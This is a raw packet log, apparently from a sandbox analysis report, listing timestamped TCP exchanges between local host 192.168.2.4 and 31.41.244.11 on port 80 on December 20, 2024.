Dec 20, 2024 04:12:36.205893993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.206804037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.206881046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.206914902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.206958055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.207824945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.207926035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.207967997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.208884001 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.208935976 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.208996058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.209039927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.209894896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.209947109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.209981918 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.210773945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.210916996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.210959911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.211013079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.211193085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.211944103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.211987019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.212100029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.212141991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.213016033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.213063002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.213094950 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.213136911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.214031935 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.214135885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.214184046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.215028048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.215099096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.215126038 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.215162992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.216106892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.216243982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.216291904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.217154026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.217205048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.217269897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.217344999 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.218158007 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.218271971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.218282938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.218512058 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.219188929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.219240904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.219319105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.219367981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.220210075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.220256090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.220323086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.220366955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.221215963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.221266985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.221328974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.221383095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.222322941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.222368956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.222397089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.222433090 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.223321915 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.223364115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.223436117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.223478079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.224472046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.224514961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.224634886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.224678993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.225455046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.225531101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.225609064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.225672007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.226427078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.226483107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.226532936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.226613998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.227588892 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.227634907 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.227747917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.227788925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.228425980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.228472948 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.366357088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.366408110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.366430998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.366470098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.366862059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.366909981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.366939068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.366976023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.367860079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.367908955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.367976904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.368012905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.368877888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.368923903 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.369023085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.369065046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.369899988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.369961023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.369987011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.370023012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.370943069 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.371032000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.371047020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.371088982 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.371980906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.372020960 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.372070074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.372122049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.373011112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.373058081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.373136997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.373291969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.374033928 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.374100924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.374124050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.374166012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.375083923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.375133991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.375154972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.375174046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.376111984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.376157045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.376207113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.376472950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.377125978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.377226114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.377238989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.377274036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.378175974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.378245115 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.378276110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.378315926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.379237890 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.379290104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.379344940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.379395008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.380254984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.380301952 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.380326986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.380363941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.381304026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.381361008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.381500006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.381558895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.382400990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.382502079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.382747889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.382839918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.383359909 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.383404016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.383444071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.383482933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.384378910 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.384423971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.384628057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.384668112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.385396957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.385438919 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.385502100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.385545969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.386428118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.386526108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.386569023 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.387480974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.387531996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.387612104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.387677908 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.388473034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.388559103 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.388586044 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.388644934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.389501095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.389614105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.389640093 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.389667988 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.390530109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.390587091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.390618086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.390659094 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.391560078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.391685009 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.391738892 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.392632961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.392699003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.392744064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.392788887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.393640041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.393691063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.393748045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.393886089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.394694090 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.394738913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.394790888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.394932985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.395703077 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.395838976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.395889044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.396713018 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.396805048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.396826029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.396867037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.397752047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.397804022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.397866964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.397931099 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.398786068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.398854017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.398886919 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.398922920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.399815083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.399862051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.399910927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.399950981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.400844097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.400885105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.400965929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.401027918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.401863098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.401928902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.401988029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.402451992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.402914047 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.402968884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.403001070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.403044939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.403942108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.404002905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.404042006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.404084921 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.404958010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.405023098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.405023098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.405061007 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.405998945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.406053066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.406094074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.407047033 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.407094955 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.407145023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.407186031 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.408080101 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.408210039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.408257008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.409137011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.409183025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.409313917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.409384966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.410136938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.410264969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.410315037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.411165953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.411211967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.411289930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.411339045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.412204027 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.412249088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.412312031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.412353039 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.413238049 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.413283110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.413345098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.413388014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.414267063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.414355040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.414403915 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.415282011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.415326118 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.415463924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.415508986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.418167114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418179035 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418211937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418224096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418241024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.418276072 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.418541908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418591022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.418653011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.418695927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.420308113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.420373917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.420479059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.420520067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.421277046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.421443939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.558506966 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.558522940 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.558595896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.558922052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.558934927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.558998108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.559763908 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.559815884 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.560139894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.560193062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.560220003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.560271025 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.562992096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563077927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.563271046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563321114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.563445091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563455105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563465118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563508034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.563574076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.563662052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.564296961 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.564362049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.564403057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.564456940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.565318108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.565366030 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.565423965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.565465927 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.566351891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.566402912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.566463947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.566508055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.567384958 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.567433119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.567501068 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.567545891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.568406105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.568454981 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.568517923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.568562984 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.569449902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.569519997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.569552898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.569596052 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.570483923 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.570533991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.570595026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:36.570640087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:36.571518898 CET	80	49838	31.41.244.11	192.168.2.4
